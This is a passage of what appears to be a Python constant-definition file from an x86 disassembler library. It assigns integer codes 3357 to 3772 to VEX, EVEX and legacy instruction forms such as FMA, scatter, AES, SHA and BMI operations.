EVEX_VFMADD132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3357
VEX_VFMADD132SS_XMM_XMM_XMMM32: int = 3358
VEX_VFMADD132SD_XMM_XMM_XMMM64: int = 3359
EVEX_VFMADD132SS_XMM_K1Z_XMM_XMMM32_ER: int = 3360
EVEX_VFMADD132SD_XMM_K1Z_XMM_XMMM64_ER: int = 3361
VEX_VFMSUB132PS_XMM_XMM_XMMM128: int = 3362
VEX_VFMSUB132PS_YMM_YMM_YMMM256: int = 3363
VEX_VFMSUB132PD_XMM_XMM_XMMM128: int = 3364
VEX_VFMSUB132PD_YMM_YMM_YMMM256: int = 3365
EVEX_VFMSUB132PS_XMM_K1Z_XMM_XMMM128B32: int = 3366
EVEX_VFMSUB132PS_YMM_K1Z_YMM_YMMM256B32: int = 3367
EVEX_VFMSUB132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3368
EVEX_VFMSUB132PD_XMM_K1Z_XMM_XMMM128B64: int = 3369
EVEX_VFMSUB132PD_YMM_K1Z_YMM_YMMM256B64: int = 3370
EVEX_VFMSUB132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3371
EVEX_V4FMADDPS_ZMM_K1Z_ZMMP3_M128: int = 3372
VEX_VFMSUB132SS_XMM_XMM_XMMM32: int = 3373
VEX_VFMSUB132SD_XMM_XMM_XMMM64: int = 3374
EVEX_VFMSUB132SS_XMM_K1Z_XMM_XMMM32_ER: int = 3375
EVEX_VFMSUB132SD_XMM_K1Z_XMM_XMMM64_ER: int = 3376
EVEX_V4FMADDSS_XMM_K1Z_XMMP3_M128: int = 3377
VEX_VFNMADD132PS_XMM_XMM_XMMM128: int = 3378
VEX_VFNMADD132PS_YMM_YMM_YMMM256: int = 3379
VEX_VFNMADD132PD_XMM_XMM_XMMM128: int = 3380
VEX_VFNMADD132PD_YMM_YMM_YMMM256: int = 3381
EVEX_VFNMADD132PS_XMM_K1Z_XMM_XMMM128B32: int = 3382
EVEX_VFNMADD132PS_YMM_K1Z_YMM_YMMM256B32: int = 3383
EVEX_VFNMADD132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3384
EVEX_VFNMADD132PD_XMM_K1Z_XMM_XMMM128B64: int = 3385
EVEX_VFNMADD132PD_YMM_K1Z_YMM_YMMM256B64: int = 3386
EVEX_VFNMADD132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3387
VEX_VFNMADD132SS_XMM_XMM_XMMM32: int = 3388
VEX_VFNMADD132SD_XMM_XMM_XMMM64: int = 3389
EVEX_VFNMADD132SS_XMM_K1Z_XMM_XMMM32_ER: int = 3390
EVEX_VFNMADD132SD_XMM_K1Z_XMM_XMMM64_ER: int = 3391
VEX_VFNMSUB132PS_XMM_XMM_XMMM128: int = 3392
VEX_VFNMSUB132PS_YMM_YMM_YMMM256: int = 3393
VEX_VFNMSUB132PD_XMM_XMM_XMMM128: int = 3394
VEX_VFNMSUB132PD_YMM_YMM_YMMM256: int = 3395
EVEX_VFNMSUB132PS_XMM_K1Z_XMM_XMMM128B32: int = 3396
EVEX_VFNMSUB132PS_YMM_K1Z_YMM_YMMM256B32: int = 3397
EVEX_VFNMSUB132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3398
EVEX_VFNMSUB132PD_XMM_K1Z_XMM_XMMM128B64: int = 3399
EVEX_VFNMSUB132PD_YMM_K1Z_YMM_YMMM256B64: int = 3400
EVEX_VFNMSUB132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3401
VEX_VFNMSUB132SS_XMM_XMM_XMMM32: int = 3402
VEX_VFNMSUB132SD_XMM_XMM_XMMM64: int = 3403
EVEX_VFNMSUB132SS_XMM_K1Z_XMM_XMMM32_ER: int = 3404
EVEX_VFNMSUB132SD_XMM_K1Z_XMM_XMMM64_ER: int = 3405
EVEX_VPSCATTERDD_VM32X_K1_XMM: int = 3406
EVEX_VPSCATTERDD_VM32Y_K1_YMM: int = 3407
EVEX_VPSCATTERDD_VM32Z_K1_ZMM: int = 3408
EVEX_VPSCATTERDQ_VM32X_K1_XMM: int = 3409
EVEX_VPSCATTERDQ_VM32X_K1_YMM: int = 3410
EVEX_VPSCATTERDQ_VM32Y_K1_ZMM: int = 3411
EVEX_VPSCATTERQD_VM64X_K1_XMM: int = 3412
EVEX_VPSCATTERQD_VM64Y_K1_XMM: int = 3413
EVEX_VPSCATTERQD_VM64Z_K1_YMM: int = 3414
EVEX_VPSCATTERQQ_VM64X_K1_XMM: int = 3415
EVEX_VPSCATTERQQ_VM64Y_K1_YMM: int = 3416
EVEX_VPSCATTERQQ_VM64Z_K1_ZMM: int = 3417
EVEX_VSCATTERDPS_VM32X_K1_XMM: int = 3418
EVEX_VSCATTERDPS_VM32Y_K1_YMM: int = 3419
EVEX_VSCATTERDPS_VM32Z_K1_ZMM: int = 3420
EVEX_VSCATTERDPD_VM32X_K1_XMM: int = 3421
EVEX_VSCATTERDPD_VM32X_K1_YMM: int = 3422
EVEX_VSCATTERDPD_VM32Y_K1_ZMM: int = 3423
EVEX_VSCATTERQPS_VM64X_K1_XMM: int = 3424
EVEX_VSCATTERQPS_VM64Y_K1_XMM: int = 3425
EVEX_VSCATTERQPS_VM64Z_K1_YMM: int = 3426
EVEX_VSCATTERQPD_VM64X_K1_XMM: int = 3427
EVEX_VSCATTERQPD_VM64Y_K1_YMM: int = 3428
EVEX_VSCATTERQPD_VM64Z_K1_ZMM: int = 3429
VEX_VFMADDSUB213PS_XMM_XMM_XMMM128: int = 3430
VEX_VFMADDSUB213PS_YMM_YMM_YMMM256: int = 3431
VEX_VFMADDSUB213PD_XMM_XMM_XMMM128: int = 3432
VEX_VFMADDSUB213PD_YMM_YMM_YMMM256: int = 3433
EVEX_VFMADDSUB213PS_XMM_K1Z_XMM_XMMM128B32: int = 3434
EVEX_VFMADDSUB213PS_YMM_K1Z_YMM_YMMM256B32: int = 3435
EVEX_VFMADDSUB213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3436
EVEX_VFMADDSUB213PD_XMM_K1Z_XMM_XMMM128B64: int = 3437
EVEX_VFMADDSUB213PD_YMM_K1Z_YMM_YMMM256B64: int = 3438
EVEX_VFMADDSUB213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3439
VEX_VFMSUBADD213PS_XMM_XMM_XMMM128: int = 3440
VEX_VFMSUBADD213PS_YMM_YMM_YMMM256: int = 3441
VEX_VFMSUBADD213PD_XMM_XMM_XMMM128: int = 3442
VEX_VFMSUBADD213PD_YMM_YMM_YMMM256: int = 3443
EVEX_VFMSUBADD213PS_XMM_K1Z_XMM_XMMM128B32: int = 3444
EVEX_VFMSUBADD213PS_YMM_K1Z_YMM_YMMM256B32: int = 3445
EVEX_VFMSUBADD213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3446
EVEX_VFMSUBADD213PD_XMM_K1Z_XMM_XMMM128B64: int = 3447
EVEX_VFMSUBADD213PD_YMM_K1Z_YMM_YMMM256B64: int = 3448
EVEX_VFMSUBADD213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3449
VEX_VFMADD213PS_XMM_XMM_XMMM128: int = 3450
VEX_VFMADD213PS_YMM_YMM_YMMM256: int = 3451
VEX_VFMADD213PD_XMM_XMM_XMMM128: int = 3452
VEX_VFMADD213PD_YMM_YMM_YMMM256: int = 3453
EVEX_VFMADD213PS_XMM_K1Z_XMM_XMMM128B32: int = 3454
EVEX_VFMADD213PS_YMM_K1Z_YMM_YMMM256B32: int = 3455
EVEX_VFMADD213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3456
EVEX_VFMADD213PD_XMM_K1Z_XMM_XMMM128B64: int = 3457
EVEX_VFMADD213PD_YMM_K1Z_YMM_YMMM256B64: int = 3458
EVEX_VFMADD213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3459
VEX_VFMADD213SS_XMM_XMM_XMMM32: int = 3460
VEX_VFMADD213SD_XMM_XMM_XMMM64: int = 3461
EVEX_VFMADD213SS_XMM_K1Z_XMM_XMMM32_ER: int = 3462
EVEX_VFMADD213SD_XMM_K1Z_XMM_XMMM64_ER: int = 3463
VEX_VFMSUB213PS_XMM_XMM_XMMM128: int = 3464
VEX_VFMSUB213PS_YMM_YMM_YMMM256: int = 3465
VEX_VFMSUB213PD_XMM_XMM_XMMM128: int = 3466
VEX_VFMSUB213PD_YMM_YMM_YMMM256: int = 3467
EVEX_VFMSUB213PS_XMM_K1Z_XMM_XMMM128B32: int = 3468
EVEX_VFMSUB213PS_YMM_K1Z_YMM_YMMM256B32: int = 3469
EVEX_VFMSUB213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3470
EVEX_VFMSUB213PD_XMM_K1Z_XMM_XMMM128B64: int = 3471
EVEX_VFMSUB213PD_YMM_K1Z_YMM_YMMM256B64: int = 3472
EVEX_VFMSUB213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3473
EVEX_V4FNMADDPS_ZMM_K1Z_ZMMP3_M128: int = 3474
VEX_VFMSUB213SS_XMM_XMM_XMMM32: int = 3475
VEX_VFMSUB213SD_XMM_XMM_XMMM64: int = 3476
EVEX_VFMSUB213SS_XMM_K1Z_XMM_XMMM32_ER: int = 3477
EVEX_VFMSUB213SD_XMM_K1Z_XMM_XMMM64_ER: int = 3478
EVEX_V4FNMADDSS_XMM_K1Z_XMMP3_M128: int = 3479
VEX_VFNMADD213PS_XMM_XMM_XMMM128: int = 3480
VEX_VFNMADD213PS_YMM_YMM_YMMM256: int = 3481
VEX_VFNMADD213PD_XMM_XMM_XMMM128: int = 3482
VEX_VFNMADD213PD_YMM_YMM_YMMM256: int = 3483
EVEX_VFNMADD213PS_XMM_K1Z_XMM_XMMM128B32: int = 3484
EVEX_VFNMADD213PS_YMM_K1Z_YMM_YMMM256B32: int = 3485
EVEX_VFNMADD213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3486
EVEX_VFNMADD213PD_XMM_K1Z_XMM_XMMM128B64: int = 3487
EVEX_VFNMADD213PD_YMM_K1Z_YMM_YMMM256B64: int = 3488
EVEX_VFNMADD213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3489
VEX_VFNMADD213SS_XMM_XMM_XMMM32: int = 3490
VEX_VFNMADD213SD_XMM_XMM_XMMM64: int = 3491
EVEX_VFNMADD213SS_XMM_K1Z_XMM_XMMM32_ER: int = 3492
EVEX_VFNMADD213SD_XMM_K1Z_XMM_XMMM64_ER: int = 3493
VEX_VFNMSUB213PS_XMM_XMM_XMMM128: int = 3494
VEX_VFNMSUB213PS_YMM_YMM_YMMM256: int = 3495
VEX_VFNMSUB213PD_XMM_XMM_XMMM128: int = 3496
VEX_VFNMSUB213PD_YMM_YMM_YMMM256: int = 3497
EVEX_VFNMSUB213PS_XMM_K1Z_XMM_XMMM128B32: int = 3498
EVEX_VFNMSUB213PS_YMM_K1Z_YMM_YMMM256B32: int = 3499
EVEX_VFNMSUB213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3500
EVEX_VFNMSUB213PD_XMM_K1Z_XMM_XMMM128B64: int = 3501
EVEX_VFNMSUB213PD_YMM_K1Z_YMM_YMMM256B64: int = 3502
EVEX_VFNMSUB213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3503
VEX_VFNMSUB213SS_XMM_XMM_XMMM32: int = 3504
VEX_VFNMSUB213SD_XMM_XMM_XMMM64: int = 3505
EVEX_VFNMSUB213SS_XMM_K1Z_XMM_XMMM32_ER: int = 3506
EVEX_VFNMSUB213SD_XMM_K1Z_XMM_XMMM64_ER: int = 3507
EVEX_VPMADD52LUQ_XMM_K1Z_XMM_XMMM128B64: int = 3508
EVEX_VPMADD52LUQ_YMM_K1Z_YMM_YMMM256B64: int = 3509
EVEX_VPMADD52LUQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3510
EVEX_VPMADD52HUQ_XMM_K1Z_XMM_XMMM128B64: int = 3511
EVEX_VPMADD52HUQ_YMM_K1Z_YMM_YMMM256B64: int = 3512
EVEX_VPMADD52HUQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3513
VEX_VFMADDSUB231PS_XMM_XMM_XMMM128: int = 3514
VEX_VFMADDSUB231PS_YMM_YMM_YMMM256: int = 3515
VEX_VFMADDSUB231PD_XMM_XMM_XMMM128: int = 3516
VEX_VFMADDSUB231PD_YMM_YMM_YMMM256: int = 3517
EVEX_VFMADDSUB231PS_XMM_K1Z_XMM_XMMM128B32: int = 3518
EVEX_VFMADDSUB231PS_YMM_K1Z_YMM_YMMM256B32: int = 3519
EVEX_VFMADDSUB231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3520
EVEX_VFMADDSUB231PD_XMM_K1Z_XMM_XMMM128B64: int = 3521
EVEX_VFMADDSUB231PD_YMM_K1Z_YMM_YMMM256B64: int = 3522
EVEX_VFMADDSUB231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3523
VEX_VFMSUBADD231PS_XMM_XMM_XMMM128: int = 3524
VEX_VFMSUBADD231PS_YMM_YMM_YMMM256: int = 3525
VEX_VFMSUBADD231PD_XMM_XMM_XMMM128: int = 3526
VEX_VFMSUBADD231PD_YMM_YMM_YMMM256: int = 3527
EVEX_VFMSUBADD231PS_XMM_K1Z_XMM_XMMM128B32: int = 3528
EVEX_VFMSUBADD231PS_YMM_K1Z_YMM_YMMM256B32: int = 3529
EVEX_VFMSUBADD231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3530
EVEX_VFMSUBADD231PD_XMM_K1Z_XMM_XMMM128B64: int = 3531
EVEX_VFMSUBADD231PD_YMM_K1Z_YMM_YMMM256B64: int = 3532
EVEX_VFMSUBADD231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3533
VEX_VFMADD231PS_XMM_XMM_XMMM128: int = 3534
VEX_VFMADD231PS_YMM_YMM_YMMM256: int = 3535
VEX_VFMADD231PD_XMM_XMM_XMMM128: int = 3536
VEX_VFMADD231PD_YMM_YMM_YMMM256: int = 3537
EVEX_VFMADD231PS_XMM_K1Z_XMM_XMMM128B32: int = 3538
EVEX_VFMADD231PS_YMM_K1Z_YMM_YMMM256B32: int = 3539
EVEX_VFMADD231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3540
EVEX_VFMADD231PD_XMM_K1Z_XMM_XMMM128B64: int = 3541
EVEX_VFMADD231PD_YMM_K1Z_YMM_YMMM256B64: int = 3542
EVEX_VFMADD231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3543
VEX_VFMADD231SS_XMM_XMM_XMMM32: int = 3544
VEX_VFMADD231SD_XMM_XMM_XMMM64: int = 3545
EVEX_VFMADD231SS_XMM_K1Z_XMM_XMMM32_ER: int = 3546
EVEX_VFMADD231SD_XMM_K1Z_XMM_XMMM64_ER: int = 3547
VEX_VFMSUB231PS_XMM_XMM_XMMM128: int = 3548
VEX_VFMSUB231PS_YMM_YMM_YMMM256: int = 3549
VEX_VFMSUB231PD_XMM_XMM_XMMM128: int = 3550
VEX_VFMSUB231PD_YMM_YMM_YMMM256: int = 3551
EVEX_VFMSUB231PS_XMM_K1Z_XMM_XMMM128B32: int = 3552
EVEX_VFMSUB231PS_YMM_K1Z_YMM_YMMM256B32: int = 3553
EVEX_VFMSUB231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3554
EVEX_VFMSUB231PD_XMM_K1Z_XMM_XMMM128B64: int = 3555
EVEX_VFMSUB231PD_YMM_K1Z_YMM_YMMM256B64: int = 3556
EVEX_VFMSUB231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3557
VEX_VFMSUB231SS_XMM_XMM_XMMM32: int = 3558
VEX_VFMSUB231SD_XMM_XMM_XMMM64: int = 3559
EVEX_VFMSUB231SS_XMM_K1Z_XMM_XMMM32_ER: int = 3560
EVEX_VFMSUB231SD_XMM_K1Z_XMM_XMMM64_ER: int = 3561
VEX_VFNMADD231PS_XMM_XMM_XMMM128: int = 3562
VEX_VFNMADD231PS_YMM_YMM_YMMM256: int = 3563
VEX_VFNMADD231PD_XMM_XMM_XMMM128: int = 3564
VEX_VFNMADD231PD_YMM_YMM_YMMM256: int = 3565
EVEX_VFNMADD231PS_XMM_K1Z_XMM_XMMM128B32: int = 3566
EVEX_VFNMADD231PS_YMM_K1Z_YMM_YMMM256B32: int = 3567
EVEX_VFNMADD231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3568
EVEX_VFNMADD231PD_XMM_K1Z_XMM_XMMM128B64: int = 3569
EVEX_VFNMADD231PD_YMM_K1Z_YMM_YMMM256B64: int = 3570
EVEX_VFNMADD231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3571
VEX_VFNMADD231SS_XMM_XMM_XMMM32: int = 3572
VEX_VFNMADD231SD_XMM_XMM_XMMM64: int = 3573
EVEX_VFNMADD231SS_XMM_K1Z_XMM_XMMM32_ER: int = 3574
EVEX_VFNMADD231SD_XMM_K1Z_XMM_XMMM64_ER: int = 3575
VEX_VFNMSUB231PS_XMM_XMM_XMMM128: int = 3576
VEX_VFNMSUB231PS_YMM_YMM_YMMM256: int = 3577
VEX_VFNMSUB231PD_XMM_XMM_XMMM128: int = 3578
VEX_VFNMSUB231PD_YMM_YMM_YMMM256: int = 3579
EVEX_VFNMSUB231PS_XMM_K1Z_XMM_XMMM128B32: int = 3580
EVEX_VFNMSUB231PS_YMM_K1Z_YMM_YMMM256B32: int = 3581
EVEX_VFNMSUB231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3582
EVEX_VFNMSUB231PD_XMM_K1Z_XMM_XMMM128B64: int = 3583
EVEX_VFNMSUB231PD_YMM_K1Z_YMM_YMMM256B64: int = 3584
EVEX_VFNMSUB231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3585
VEX_VFNMSUB231SS_XMM_XMM_XMMM32: int = 3586
VEX_VFNMSUB231SD_XMM_XMM_XMMM64: int = 3587
EVEX_VFNMSUB231SS_XMM_K1Z_XMM_XMMM32_ER: int = 3588
EVEX_VFNMSUB231SD_XMM_K1Z_XMM_XMMM64_ER: int = 3589
EVEX_VPCONFLICTD_XMM_K1Z_XMMM128B32: int = 3590
EVEX_VPCONFLICTD_YMM_K1Z_YMMM256B32: int = 3591
EVEX_VPCONFLICTD_ZMM_K1Z_ZMMM512B32: int = 3592
EVEX_VPCONFLICTQ_XMM_K1Z_XMMM128B64: int = 3593
EVEX_VPCONFLICTQ_YMM_K1Z_YMMM256B64: int = 3594
EVEX_VPCONFLICTQ_ZMM_K1Z_ZMMM512B64: int = 3595
EVEX_VGATHERPF0DPS_VM32Z_K1: int = 3596
EVEX_VGATHERPF0DPD_VM32Y_K1: int = 3597
EVEX_VGATHERPF1DPS_VM32Z_K1: int = 3598
EVEX_VGATHERPF1DPD_VM32Y_K1: int = 3599
EVEX_VSCATTERPF0DPS_VM32Z_K1: int = 3600
EVEX_VSCATTERPF0DPD_VM32Y_K1: int = 3601
EVEX_VSCATTERPF1DPS_VM32Z_K1: int = 3602
EVEX_VSCATTERPF1DPD_VM32Y_K1: int = 3603
EVEX_VGATHERPF0QPS_VM64Z_K1: int = 3604
EVEX_VGATHERPF0QPD_VM64Z_K1: int = 3605
EVEX_VGATHERPF1QPS_VM64Z_K1: int = 3606
EVEX_VGATHERPF1QPD_VM64Z_K1: int = 3607
EVEX_VSCATTERPF0QPS_VM64Z_K1: int = 3608
EVEX_VSCATTERPF0QPD_VM64Z_K1: int = 3609
EVEX_VSCATTERPF1QPS_VM64Z_K1: int = 3610
EVEX_VSCATTERPF1QPD_VM64Z_K1: int = 3611
SHA1NEXTE_XMM_XMMM128: int = 3612
EVEX_VEXP2PS_ZMM_K1Z_ZMMM512B32_SAE: int = 3613
EVEX_VEXP2PD_ZMM_K1Z_ZMMM512B64_SAE: int = 3614
SHA1MSG1_XMM_XMMM128: int = 3615
SHA1MSG2_XMM_XMMM128: int = 3616
EVEX_VRCP28PS_ZMM_K1Z_ZMMM512B32_SAE: int = 3617
EVEX_VRCP28PD_ZMM_K1Z_ZMMM512B64_SAE: int = 3618
SHA256RNDS2_XMM_XMMM128: int = 3619
EVEX_VRCP28SS_XMM_K1Z_XMM_XMMM32_SAE: int = 3620
EVEX_VRCP28SD_XMM_K1Z_XMM_XMMM64_SAE: int = 3621
SHA256MSG1_XMM_XMMM128: int = 3622
EVEX_VRSQRT28PS_ZMM_K1Z_ZMMM512B32_SAE: int = 3623
EVEX_VRSQRT28PD_ZMM_K1Z_ZMMM512B64_SAE: int = 3624
SHA256MSG2_XMM_XMMM128: int = 3625
EVEX_VRSQRT28SS_XMM_K1Z_XMM_XMMM32_SAE: int = 3626
EVEX_VRSQRT28SD_XMM_K1Z_XMM_XMMM64_SAE: int = 3627
GF2P8MULB_XMM_XMMM128: int = 3628
VEX_VGF2P8MULB_XMM_XMM_XMMM128: int = 3629
VEX_VGF2P8MULB_YMM_YMM_YMMM256: int = 3630
EVEX_VGF2P8MULB_XMM_K1Z_XMM_XMMM128: int = 3631
EVEX_VGF2P8MULB_YMM_K1Z_YMM_YMMM256: int = 3632
EVEX_VGF2P8MULB_ZMM_K1Z_ZMM_ZMMM512: int = 3633
AESIMC_XMM_XMMM128: int = 3634
VEX_VAESIMC_XMM_XMMM128: int = 3635
AESENC_XMM_XMMM128: int = 3636
VEX_VAESENC_XMM_XMM_XMMM128: int = 3637
VEX_VAESENC_YMM_YMM_YMMM256: int = 3638
EVEX_VAESENC_XMM_XMM_XMMM128: int = 3639
EVEX_VAESENC_YMM_YMM_YMMM256: int = 3640
EVEX_VAESENC_ZMM_ZMM_ZMMM512: int = 3641
AESENCLAST_XMM_XMMM128: int = 3642
VEX_VAESENCLAST_XMM_XMM_XMMM128: int = 3643
VEX_VAESENCLAST_YMM_YMM_YMMM256: int = 3644
EVEX_VAESENCLAST_XMM_XMM_XMMM128: int = 3645
EVEX_VAESENCLAST_YMM_YMM_YMMM256: int = 3646
EVEX_VAESENCLAST_ZMM_ZMM_ZMMM512: int = 3647
AESDEC_XMM_XMMM128: int = 3648
VEX_VAESDEC_XMM_XMM_XMMM128: int = 3649
VEX_VAESDEC_YMM_YMM_YMMM256: int = 3650
EVEX_VAESDEC_XMM_XMM_XMMM128: int = 3651
EVEX_VAESDEC_YMM_YMM_YMMM256: int = 3652
EVEX_VAESDEC_ZMM_ZMM_ZMMM512: int = 3653
AESDECLAST_XMM_XMMM128: int = 3654
VEX_VAESDECLAST_XMM_XMM_XMMM128: int = 3655
VEX_VAESDECLAST_YMM_YMM_YMMM256: int = 3656
EVEX_VAESDECLAST_XMM_XMM_XMMM128: int = 3657
EVEX_VAESDECLAST_YMM_YMM_YMMM256: int = 3658
EVEX_VAESDECLAST_ZMM_ZMM_ZMMM512: int = 3659
MOVBE_R16_M16: int = 3660
MOVBE_R32_M32: int = 3661
MOVBE_R64_M64: int = 3662
CRC32_R32_RM8: int = 3663
CRC32_R64_RM8: int = 3664
MOVBE_M16_R16: int = 3665
MOVBE_M32_R32: int = 3666
MOVBE_M64_R64: int = 3667
CRC32_R32_RM16: int = 3668
CRC32_R32_RM32: int = 3669
CRC32_R64_RM64: int = 3670
VEX_ANDN_R32_R32_RM32: int = 3671
VEX_ANDN_R64_R64_RM64: int = 3672
VEX_BLSR_R32_RM32: int = 3673
VEX_BLSR_R64_RM64: int = 3674
VEX_BLSMSK_R32_RM32: int = 3675
VEX_BLSMSK_R64_RM64: int = 3676
VEX_BLSI_R32_RM32: int = 3677
VEX_BLSI_R64_RM64: int = 3678
VEX_BZHI_R32_RM32_R32: int = 3679
VEX_BZHI_R64_RM64_R64: int = 3680
WRUSSD_M32_R32: int = 3681
WRUSSQ_M64_R64: int = 3682
VEX_PEXT_R32_R32_RM32: int = 3683
VEX_PEXT_R64_R64_RM64: int = 3684
VEX_PDEP_R32_R32_RM32: int = 3685
VEX_PDEP_R64_R64_RM64: int = 3686
WRSSD_M32_R32: int = 3687
WRSSQ_M64_R64: int = 3688
ADCX_R32_RM32: int = 3689
ADCX_R64_RM64: int = 3690
ADOX_R32_RM32: int = 3691
ADOX_R64_RM64: int = 3692
VEX_MULX_R32_R32_RM32: int = 3693
VEX_MULX_R64_R64_RM64: int = 3694
VEX_BEXTR_R32_RM32_R32: int = 3695
VEX_BEXTR_R64_RM64_R64: int = 3696
VEX_SHLX_R32_RM32_R32: int = 3697
VEX_SHLX_R64_RM64_R64: int = 3698
VEX_SARX_R32_RM32_R32: int = 3699
VEX_SARX_R64_RM64_R64: int = 3700
VEX_SHRX_R32_RM32_R32: int = 3701
VEX_SHRX_R64_RM64_R64: int = 3702
MOVDIR64B_R16_M512: int = 3703
MOVDIR64B_R32_M512: int = 3704
MOVDIR64B_R64_M512: int = 3705
ENQCMDS_R16_M512: int = 3706
ENQCMDS_R32_M512: int = 3707
ENQCMDS_R64_M512: int = 3708
ENQCMD_R16_M512: int = 3709
ENQCMD_R32_M512: int = 3710
ENQCMD_R64_M512: int = 3711
MOVDIRI_M32_R32: int = 3712
MOVDIRI_M64_R64: int = 3713
VEX_VPERMQ_YMM_YMMM256_IMM8: int = 3714
EVEX_VPERMQ_YMM_K1Z_YMMM256B64_IMM8: int = 3715
EVEX_VPERMQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 3716
VEX_VPERMPD_YMM_YMMM256_IMM8: int = 3717
EVEX_VPERMPD_YMM_K1Z_YMMM256B64_IMM8: int = 3718
EVEX_VPERMPD_ZMM_K1Z_ZMMM512B64_IMM8: int = 3719
VEX_VPBLENDD_XMM_XMM_XMMM128_IMM8: int = 3720
VEX_VPBLENDD_YMM_YMM_YMMM256_IMM8: int = 3721
EVEX_VALIGND_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 3722
EVEX_VALIGND_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3723
EVEX_VALIGND_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 3724
EVEX_VALIGNQ_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 3725
EVEX_VALIGNQ_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3726
EVEX_VALIGNQ_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 3727
VEX_VPERMILPS_XMM_XMMM128_IMM8: int = 3728
VEX_VPERMILPS_YMM_YMMM256_IMM8: int = 3729
EVEX_VPERMILPS_XMM_K1Z_XMMM128B32_IMM8: int = 3730
EVEX_VPERMILPS_YMM_K1Z_YMMM256B32_IMM8: int = 3731
EVEX_VPERMILPS_ZMM_K1Z_ZMMM512B32_IMM8: int = 3732
VEX_VPERMILPD_XMM_XMMM128_IMM8: int = 3733
VEX_VPERMILPD_YMM_YMMM256_IMM8: int = 3734
EVEX_VPERMILPD_XMM_K1Z_XMMM128B64_IMM8: int = 3735
EVEX_VPERMILPD_YMM_K1Z_YMMM256B64_IMM8: int = 3736
EVEX_VPERMILPD_ZMM_K1Z_ZMMM512B64_IMM8: int = 3737
VEX_VPERM2F128_YMM_YMM_YMMM256_IMM8: int = 3738
ROUNDPS_XMM_XMMM128_IMM8: int = 3739
VEX_VROUNDPS_XMM_XMMM128_IMM8: int = 3740
VEX_VROUNDPS_YMM_YMMM256_IMM8: int = 3741
EVEX_VRNDSCALEPS_XMM_K1Z_XMMM128B32_IMM8: int = 3742
EVEX_VRNDSCALEPS_YMM_K1Z_YMMM256B32_IMM8: int = 3743
EVEX_VRNDSCALEPS_ZMM_K1Z_ZMMM512B32_IMM8_SAE: int = 3744
ROUNDPD_XMM_XMMM128_IMM8: int = 3745
VEX_VROUNDPD_XMM_XMMM128_IMM8: int = 3746
VEX_VROUNDPD_YMM_YMMM256_IMM8: int = 3747
EVEX_VRNDSCALEPD_XMM_K1Z_XMMM128B64_IMM8: int = 3748
EVEX_VRNDSCALEPD_YMM_K1Z_YMMM256B64_IMM8: int = 3749
EVEX_VRNDSCALEPD_ZMM_K1Z_ZMMM512B64_IMM8_SAE: int = 3750
ROUNDSS_XMM_XMMM32_IMM8: int = 3751
VEX_VROUNDSS_XMM_XMM_XMMM32_IMM8: int = 3752
EVEX_VRNDSCALESS_XMM_K1Z_XMM_XMMM32_IMM8_SAE: int = 3753
ROUNDSD_XMM_XMMM64_IMM8: int = 3754
VEX_VROUNDSD_XMM_XMM_XMMM64_IMM8: int = 3755
EVEX_VRNDSCALESD_XMM_K1Z_XMM_XMMM64_IMM8_SAE: int = 3756
BLENDPS_XMM_XMMM128_IMM8: int = 3757
VEX_VBLENDPS_XMM_XMM_XMMM128_IMM8: int = 3758
VEX_VBLENDPS_YMM_YMM_YMMM256_IMM8: int = 3759
BLENDPD_XMM_XMMM128_IMM8: int = 3760
VEX_VBLENDPD_XMM_XMM_XMMM128_IMM8: int = 3761
VEX_VBLENDPD_YMM_YMM_YMMM256_IMM8: int = 3762
PBLENDW_XMM_XMMM128_IMM8: int = 3763
VEX_VPBLENDW_XMM_XMM_XMMM128_IMM8: int = 3764
VEX_VPBLENDW_YMM_YMM_YMMM256_IMM8: int = 3765
PALIGNR_MM_MMM64_IMM8: int = 3766
PALIGNR_XMM_XMMM128_IMM8: int = 3767
VEX_VPALIGNR_XMM_XMM_XMMM128_IMM8: int = 3768
VEX_VPALIGNR_YMM_YMM_YMMM256_IMM8: int = 3769
EVEX_VPALIGNR_XMM_K1Z_XMM_XMMM128_IMM8: int = 3770
EVEX_VPALIGNR_YMM_K1Z_YMM_YMMM256_IMM8: int = 3771
EVEX_VPALIGNR_ZMM_K1Z_ZMM_ZMMM512_IMM8: int = 3772
